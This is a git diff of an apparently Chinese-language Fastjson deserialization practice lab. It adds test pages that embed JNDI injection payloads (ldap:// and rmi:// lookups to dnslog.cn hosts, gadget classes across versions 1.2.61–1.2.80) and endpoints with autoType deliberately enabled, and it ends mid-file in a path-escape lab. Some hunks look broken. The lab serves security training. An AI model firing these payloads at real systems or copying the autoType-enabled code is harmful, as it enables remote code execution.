org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.61"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.61 靶场测试页", "/fastjson1.2.61-process", new String[]{ + "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"rmi://fastjson1.2.61-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"org.apache.commons.proxy.provider.remoting.SessionBeanProvider\",\"jndiName\":\"ldap://fastjson1.2.61-process.dnslog.cn/Exploit\",\"Object\":\"a\"}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.61-process") public String fastjson1_2_61_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.62/Dockerfile b/fastjson-1.2.62/Dockerfile index 9a254c5..8b79e8b 100644 --- a/fastjson-1.2.62/Dockerfile +++ b/fastjson-1.2.62/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.62-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.62/Dockerfile_local b/fastjson-1.2.62/Dockerfile_local index 3690343..1b2b146 100644 --- a/fastjson-1.2.62/Dockerfile_local +++ b/fastjson-1.2.62/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.62-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.62/docker-compose.yaml b/fastjson-1.2.62/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.62/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.62/fastjson-1.2.62.iml b/fastjson-1.2.62/fastjson-1.2.62.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.62/fastjson-1.2.62.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.62/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.62/src/main/java/myapp/FastjsonController.java index 2a96249..65047c1 100644 --- a/fastjson-1.2.62/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.62/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.62"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.62 靶场测试页", "/fastjson1.2.62-process", new String[]{ + "{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://fastjson1.2.62-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig\",\"properties\": {\"@type\":\"java.util.Properties\",\"UserTransaction\":\"ldap://fastjson1.2.62-process.dnslog.cn/Exploit\"}}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.62-process") public String fastjson1_2_62_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.66/Dockerfile b/fastjson-1.2.66/Dockerfile index 2f9311b..55905fb 100644 --- a/fastjson-1.2.66/Dockerfile +++ b/fastjson-1.2.66/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.66-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.66/Dockerfile_local b/fastjson-1.2.66/Dockerfile_local index 2ffc712..0a53e37 100644 --- a/fastjson-1.2.66/Dockerfile_local +++ b/fastjson-1.2.66/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.66-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.66/docker-compose.yaml b/fastjson-1.2.66/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.66/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.66/fastjson-1.2.66.iml b/fastjson-1.2.66/fastjson-1.2.66.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.66/fastjson-1.2.66.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.66/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.66/src/main/java/myapp/FastjsonController.java index 5c0d844..d079f74 100644 --- a/fastjson-1.2.66/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.66/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,47 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.66"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.66 靶场测试页", "/fastjson1.2.66-process", new String[]{ + "{\"@type\":\"com.caucho.config.types.ResourceRef\",\"LookupName\":\"rmi://fastjson1.2.66-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\",\"jndiNames\":\"ldap://fastjson1.2.66-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"healthCheckRegistry\":\"ldap://fastjson1.2.66-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"br.com.anteros.dbcp.AnterosDBCPConfig\",\"metricRegistry\":\"ldap://fastjson1.2.66-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://fastjson1.2.66-process.dnslog.cn/Exploit\"}", + "{\"@type\":\"org.apache.shiro.realm.jndi.JndiRealmFactory\", \"jndiNames\":[\"ldap://fastjson1.2.66-process.dnslog.cn/Exploit\"], \"Realms\":[\"\"]}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.66-process") public String fastjson1_2_66_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.67/Dockerfile b/fastjson-1.2.67/Dockerfile index e688377..52250d7 100644 --- a/fastjson-1.2.67/Dockerfile +++ b/fastjson-1.2.67/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.67-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.67/Dockerfile_local b/fastjson-1.2.67/Dockerfile_local index 301837f..358d3b2 100644 --- a/fastjson-1.2.67/Dockerfile_local +++ b/fastjson-1.2.67/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.67-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.67/docker-compose.yaml b/fastjson-1.2.67/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.67/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.67/fastjson-1.2.67.iml b/fastjson-1.2.67/fastjson-1.2.67.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.67/fastjson-1.2.67.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.67/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.67/src/main/java/myapp/FastjsonController.java index 7be127d..9c0eb0c 100644 --- a/fastjson-1.2.67/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.67/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.67"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.67 靶场测试页", "/fastjson1.2.67-process", new String[]{ + "{\"@type\":\"org.apache.ignite.cache.jta.jndi.CacheJndiTmLookup\", \"jndiNames\":[\"ldap://fastjson1.2.67-process.dnslog.cn/Exploit\"], \"tm\": {\"$ref\":\"$.tm\"}}", + "{\"@type\":\"org.apache.shiro.jndi.JndiObjectFactory\",\"resourceName\":\"ldap://fastjson1.2.67-process.dnslog.cn/Exploit\",\"instance\":{\"$ref\":\"$.instance\"}}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.67-process") public String fastjson1_2_67_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.68/Dockerfile b/fastjson-1.2.68/Dockerfile index 7c99570..e44ecc3 100644 --- a/fastjson-1.2.68/Dockerfile +++ b/fastjson-1.2.68/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.68-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.68/Dockerfile_local b/fastjson-1.2.68/Dockerfile_local index fa4ae94..5737fc4 100644 --- a/fastjson-1.2.68/Dockerfile_local +++ b/fastjson-1.2.68/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.68-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.68/docker-compose.yaml b/fastjson-1.2.68/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.68/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.68/fastjson-1.2.68.iml b/fastjson-1.2.68/fastjson-1.2.68.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.68/fastjson-1.2.68.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.68/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.68/src/main/java/myapp/FastjsonController.java index 99b6104..5eccb5d 100644 --- a/fastjson-1.2.68/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.68/src/main/java/myapp/FastjsonController.java @@ -2,18 +2,43 @@ import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; -import org.springframework.web.bind.annotation.*; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.68"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.68 靶场测试页", "/fastjson1.2.68-process", new String[]{ + "{\"@type\":\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\",\"healthCheckRegistry\":\"ldap://fastjson1.2.68-process.dnslog.cn/Calc\"}", + "{\"@type\":\"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig\",\"metricRegistry\":\"ldap://fastjson1.2.68-process.dnslog.cn/Calc\"}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.68-process") public String fastjson1_2_68_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.80/Dockerfile b/fastjson-1.2.80/Dockerfile index b81c5dd..3d666da 100644 --- a/fastjson-1.2.80/Dockerfile +++ b/fastjson-1.2.80/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.80-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.80/Dockerfile_local b/fastjson-1.2.80/Dockerfile_local index 0a57468..962dafc 100644 --- a/fastjson-1.2.80/Dockerfile_local +++ b/fastjson-1.2.80/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.80-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.80/docker-compose.yaml b/fastjson-1.2.80/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.80/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.80/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.80/src/main/java/myapp/FastjsonController.java index 69df658..7041ec8 100644 --- a/fastjson-1.2.80/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.80/src/main/java/myapp/FastjsonController.java @@ -3,27 +3,48 @@ import com.alibaba.fastjson.JSONException; import com.alibaba.fastjson.JSONObject; import com.alibaba.fastjson.parser.ParserConfig; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.80"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.80 靶场测试页", "/fastjson1.2.80-process", new String[]{ + "{\"@type\": \"java.lang.Exception\",\"@type\": \"myapp.Poc\",\"name\": \"ping fastjson1.2.80-process.dnslog.cn\"}" + }, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.80-process") public String fastjson1_2_80_process(@RequestBody String data) { ParserConfig.getGlobalInstance().setAutoTypeSupport(true); try { JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } catch (JSONException e) { - // 处理JSON解析异常 return "JSON解析异常: " + e.getMessage(); } catch (RuntimeException e) { - // 处理运行时异常 return "运行时异常: " + e.getMessage(); } } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + StringBuilder attackButtons = new StringBuilder(); + for (int i = 0; i < attackPayloads.length; i++) attackButtons.append(""); + return page(title, processPath, attackPayloads, normalPayload, attackButtons.toString()); + } + + private String page(String title, String processPath, String[] attackPayloads, String normalPayload, String attackButtons) { + return "" + title + "" + styleBlock() + "

" + title + "

可以先填充 vul.py 中的攻击或正常样例,再手动修改 payload,然后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String toJsArray(String[] payloads) { StringBuilder b=new StringBuilder("["); for(int i=0;i0)b.append(","); b.append("'").append(escapeForJs(payloads[i])).append("'"); } return b.append("]").toString(); } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/fastjson-1.2.83/Dockerfile b/fastjson-1.2.83/Dockerfile index 2f681b9..590b698 100644 --- a/fastjson-1.2.83/Dockerfile +++ b/fastjson-1.2.83/Dockerfile @@ -9,6 +9,7 @@ FROM wushangleon/java:jdk8u112 COPY --from=builder /opt/fastjson/target/fastjson-1.2.83-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.83/Dockerfile_local b/fastjson-1.2.83/Dockerfile_local index db5e658..dc1af79 100644 --- a/fastjson-1.2.83/Dockerfile_local +++ b/fastjson-1.2.83/Dockerfile_local @@ -3,6 +3,7 @@ FROM wushangleon/java:jdk8u112 COPY target/fastjson-1.2.83-1.0-SNAPSHOT.jar /opt/app.jar # 定义启动命令 +EXPOSE 8080 CMD ["java", "-jar", "/opt/app.jar"] diff --git a/fastjson-1.2.83/docker-compose.yaml b/fastjson-1.2.83/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/fastjson-1.2.83/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/fastjson-1.2.83/fastjson-1.2.83.iml b/fastjson-1.2.83/fastjson-1.2.83.iml deleted file mode 100644 index 78b2cc5..0000000 --- a/fastjson-1.2.83/fastjson-1.2.83.iml +++ /dev/null @@ -1,2 +0,0 @@ - - \ No newline at end of file diff --git a/fastjson-1.2.83/src/main/java/myapp/FastjsonController.java b/fastjson-1.2.83/src/main/java/myapp/FastjsonController.java index ba820f6..d4ee799 100644 --- a/fastjson-1.2.83/src/main/java/myapp/FastjsonController.java +++ b/fastjson-1.2.83/src/main/java/myapp/FastjsonController.java @@ -1,20 +1,33 @@ package myapp; import com.alibaba.fastjson.JSONObject; -import com.alibaba.fastjson.parser.ParserConfig; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PostMapping; import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; @RestController public class FastjsonController { + @GetMapping(value = {"/", "/fastjson-1.2.83"}, produces = "text/html;charset=UTF-8") + @ResponseBody + public String index() { + return buildPage("fastjson-1.2.83 靶场测试页", "/fastjson1.2.83-process", new String[]{}, "{\"name\":\"123\",\"email\":\"123@123\",\"age\":\"123\"}"); + } @PostMapping("/fastjson1.2.83-process") public String fastjson1_2_83_process(@RequestBody String data) { - JSONObject jsonObject = JSONObject.parseObject(data); - // 处理 jsonObject return "Processed: " + jsonObject; } + + private String buildPage(String title, String processPath, String[] attackPayloads, String normalPayload) { + String attackButtons = ""; + return "" + title + "" + styleBlock() + "

" + title + "

当前版本在 vul.py 中只有正常样例,你也可以手动修改 payload 后发送到 " + processPath + "

" + attackButtons + "
等待发送请求...
"; + } + + private String styleBlock() { return ""; } + private String escapeForJs(String value) { return value.replace("\\", "\\\\").replace("'", "\\'").replace("\r", "").replace("\n", "\\n"); } + private String escapeHtml(String value) { return value.replace("&", "&").replace("<", "<").replace(">", ">"); } } diff --git a/ghost-bits/Dockerfile b/ghost-bits/Dockerfile new file mode 100644 index 0000000..15d8ddb --- /dev/null +++ b/ghost-bits/Dockerfile @@ -0,0 +1,11 @@ +FROM wushangleon/java:jdk8u112_maven as builder + +COPY . /opt/app +WORKDIR /opt/app +RUN mvn package -DskipTests + +FROM wushangleon/java:jdk8u112 +COPY --from=builder /opt/app/target/ghost-bits-1.0-SNAPSHOT.jar /opt/app.jar + +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/ghost-bits/Dockerfile_local b/ghost-bits/Dockerfile_local new file mode 100644 index 0000000..f39fd0a --- /dev/null +++ b/ghost-bits/Dockerfile_local @@ -0,0 +1,5 @@ +FROM wushangleon/java:jdk8u112 +COPY target/ghost-bits-1.0-SNAPSHOT.jar /opt/app.jar + +EXPOSE 8080 +CMD ["java", "-jar", "/opt/app.jar"] diff --git a/ghost-bits/docker-compose.yaml b/ghost-bits/docker-compose.yaml new file mode 100644 index 0000000..bc2c2bd --- /dev/null +++ b/ghost-bits/docker-compose.yaml @@ -0,0 +1,9 @@ +version: "3.8" + +services: + app: + build: + context: . + dockerfile: Dockerfile + ports: + - "8080:8080" diff --git a/microservice-g-service/pom.xml b/ghost-bits/pom.xml similarity index 62% rename from microservice-g-service/pom.xml rename to ghost-bits/pom.xml index 5b1f8ef..7c4637b 100644 --- a/microservice-g-service/pom.xml +++ b/ghost-bits/pom.xml @@ -5,43 +5,32 @@ 4.0.0 org.example - microservice-g-service + ghost-bits 1.0-SNAPSHOT 8 8 + org.springframework.boot spring-boot-starter-parent - 2.5.9 + 2.6.6 + - - org.springframework.cloud - spring-cloud-starter-netflix-eureka-client - org.springframework.boot spring-boot-starter-web - RELEASE - compile + + + com.alibaba + fastjson + 1.2.24 - - - - org.springframework.cloud - spring-cloud-dependencies - 2020.0.4 - pom - import - - - - @@ -51,7 +40,7 @@ org.apache.maven.plugins maven-compiler-plugin - 3.1 + 3.1 1.8 1.8 @@ -60,13 +49,13 @@ org.apache.maven.plugins maven-resources-plugin - 3.0.2 + 3.0.2 org.apache.maven.plugins maven-jar-plugin - 2.4 + 2.4 - \ No newline at end of file + diff --git a/ghost-bits/src/main/java/myapp/GhostBitsController.java b/ghost-bits/src/main/java/myapp/GhostBitsController.java new file mode 100644 index 0000000..25fec13 --- /dev/null +++ b/ghost-bits/src/main/java/myapp/GhostBitsController.java @@ -0,0 +1,441 @@ +package myapp; + +import com.alibaba.fastjson.JSON; +import com.alibaba.fastjson.JSONObject; +import org.springframework.http.MediaType; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.bind.annotation.ResponseBody; +import org.springframework.web.bind.annotation.RestController; + +import javax.annotation.PostConstruct; +import java.io.IOException; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.nio.file.StandardOpenOption; +import java.util.ArrayList; +import java.util.List; +import java.util.stream.Stream; + +@RestController +@RequestMapping +public class GhostBitsController { + + private final Path labRoot = Paths.get("/tmp/ghost-bits-lab"); + private final Path uploadRoot = labRoot.resolve("uploads"); + private final Path publicRoot = labRoot.resolve("public"); + private final Path secretRoot = labRoot.resolve("secret"); + + @PostConstruct + public void init() throws IOException { + Files.createDirectories(uploadRoot); + Files.createDirectories(publicRoot); + Files.createDirectories(secretRoot); + writeIfMissing(publicRoot.resolve("hello.txt"), "hello from ghost-bits public area\n"); + writeIfMissing(secretRoot.resolve("flag.txt"), "flag{ghost_bits_path_escape_demo}\n"); + } + + @GetMapping(value = {"/", "/ghost-bits", "/playground"}, produces = MediaType.TEXT_HTML_VALUE) + @ResponseBody + public String index() { + String autoTypePayload = ghostJson("{\"@type\":\"java.awt.Rectangle\",\"x\":0,\"y\":0,\"width\":0,\"height\":0}"); + String usernamePayload = ghostJson("{\"username\":\"root@localhost\"}"); + String absoluteReadPayload = 